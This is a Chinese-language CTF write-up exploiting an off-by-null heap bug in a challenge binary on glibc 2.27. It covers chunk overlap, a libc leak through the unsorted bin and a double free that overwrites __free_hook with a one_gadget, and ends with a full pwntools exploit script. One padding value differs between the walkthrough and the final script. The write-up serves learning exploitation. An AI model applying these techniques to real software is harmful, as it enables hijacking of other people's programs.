查看保护

保护全开的话,那就修改hook吧。
分析

new

size大小不能大于0x2000,创建堆给到dest,接下来输入数据。看一下sub_BC8吧。

strcpy这里出了一点问题,strcpy会将\x00一并覆盖过去,造成off-by-null,上个自动化脚本吧。
1 2 3 4
| def new(size, content): r.sendlineafter(menu, '1') r.sendlineafter('Size:', str(size)) r.sendafter('Data:', content)
|
show

输入index,index要小于9,然后输出要输出的index对应的堆。
1 2 3
| def show(index): r.sendlineafter(menu, '2') r.sendlineafter('Index:', str(index))
|
delete

还是输入index,index要小于9。将空间全部填为0xda,接下来就是释放heap_ptr,释放之后清0了,没有UAF
1 2 3
| def delete(index): r.sendlineafter(menu, '3') r.sendlineafter('Index:', str(index))
|
编写exp
因为没有UAF,可以考虑堆的重叠。就是需要将prev_size改为0,也要改inuse位。泄露libc的话用unstortedbin来进行泄露。
申请4个chunk,0和2要在unstortedbin之内,3是为了防止与top_chunk合并。释放1和0以size背叛的方式将prev_size置0。申请同样的大小,把2的presize置为chunk0+chunk1的大小。删除2,进行合并,泄露libc_base,double free改hook。最后就可以getshell了

1 2 3 4
| new(0x410, 'aaaa') new(0x78, 'bbbb') new(0x4f0, 'ffff') new(0x10, 'eeee')
|
接下来释放1和0,再看一下chunk2的prev_size吧。


chunk2的prev_size被垃圾数据填充。接下来就是要将这些垃圾数据给清0。

1 2 3
| for i in range(9): new(0x78 - i, 'b' * (0x78 - i)) delete(0)
|
下面就是再申请一个与1一样大小的chunk,将chunk2的prev_size改为chunk0+chunk1的大小,目的是为了进行堆重叠。

1 2
| p1 = b'a' * 0x78 + p64(0x4a0) new(0x78, p1)
|
接下来释放chunk2进行合并。可以看到下图已经一起合并了。

此时重新申请chunk0,因为上一步的堆重叠,fd和bk不会被覆盖。再show一下就可以获取libc_base了。

show一下吧。

一把梭。
1 2 3 4 5
| show(0) libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0 free_hook = libc_base + libc.sym['__free_hook'] one = [0x4f2c5, 0x4f322, 0x10a38c] one_gadget = libc_base + one[1]
|
one_gadget这些都找好后,接下来就是改hook,进行getshell,先申请一个chunk2吧。

接下来释放0和2,因为堆重叠,所以0 ==== 2,进行double_free


1 2 3 4 5 6
| delete(0) delete(2) new(0x78, p64(free_hook)) new(0x78, 'aaa') new(0x78, p64(one_gadget)) delete(3)
|

exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import *
file_name = './z1r0'
debug = 0 if debug: r = remote() else: r = process(file_name)
elf = ELF(file_name)
libc = ELF('./2.27/libc-2.27.so')
menu = 'Your choice: '
def new(size, content): r.sendlineafter(menu, '1') r.sendlineafter('Size:', str(size)) r.sendafter('Data:', content)
def show(index): r.sendlineafter(menu, '2') r.sendlineafter('Index:', str(index))
def delete(index): r.sendlineafter(menu, '3') r.sendlineafter('Index:', str(index))
def dbg(): gdb.attach(r)
new(0x410, 'aaaa') new(0x78, 'bbbb') new(0x4f0, 'ffff') new(0x10, 'eeee')
delete(1) delete(0)
for i in range(9): new(0x78 - i, 'b' * (0x78 - i)) delete(0)
p1 = b'a' * 0x70 + p64(0x4a0) new(0x78, p1)
delete(2)
new(0x410, 'aaaa') show(0)
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3ebca0 success('libc_base = ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one = [0x4f2c5, 0x4f322, 0x10a38c] one_gadget = libc_base + one[1]
new(0x78, 'aaaa')
delete(0) delete(2)
new(0x78, p64(free_hook)) new(0x78, 'aaa') new(0x78, p64(one_gadget))
delete(3) r.interactive()
|